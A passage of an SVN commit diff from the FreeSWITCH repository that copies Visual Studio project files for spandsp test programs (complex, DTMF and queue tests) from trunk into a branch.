Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/complex_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="complex_tests"
+	ProjectGUID="{A349379F-0FEA-49C8-9535-05F39663337B}"
+	RootNamespace="complex_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\complex_tests.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_float_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_float_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/complex_vector_float_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_float_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_float_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="complex_vector_float_tests"
+	ProjectGUID="{2B0D705C-1CF2-401C-BFBC-A43FB806908C}"
+	RootNamespace="complex_vector_float_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\complex_vector_float_tests.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_int_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_int_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/complex_vector_int_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_int_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/complex_vector_int_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="complex_vector_int_tests"
+	ProjectGUID="{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}"
+	RootNamespace="complex_vector_int_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\complex_vector_int_tests.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_rx_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_rx_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/dtmf_rx_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_rx_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_rx_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="dtmf_rx_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="dtmf_rx_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\dtmf_rx_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_tx_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_tx_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/dtmf_tx_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_tx_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/dtmf_tx_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="dtmf_tx_tests"
+	ProjectGUID="{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	RootNamespace="dtmf_tx_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\..\src\Debug\spandsp.lib"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="..\src\Debug\spandsp.lib"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\dtmf_tx_tests.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/queue_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/queue_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/queue_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/queue_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/queue_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="queue_tests"
+	ProjectGUID="{80A3D9D9-3846-4DA5-8676-F940D725EA62}"
+	RootNamespace="queue_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
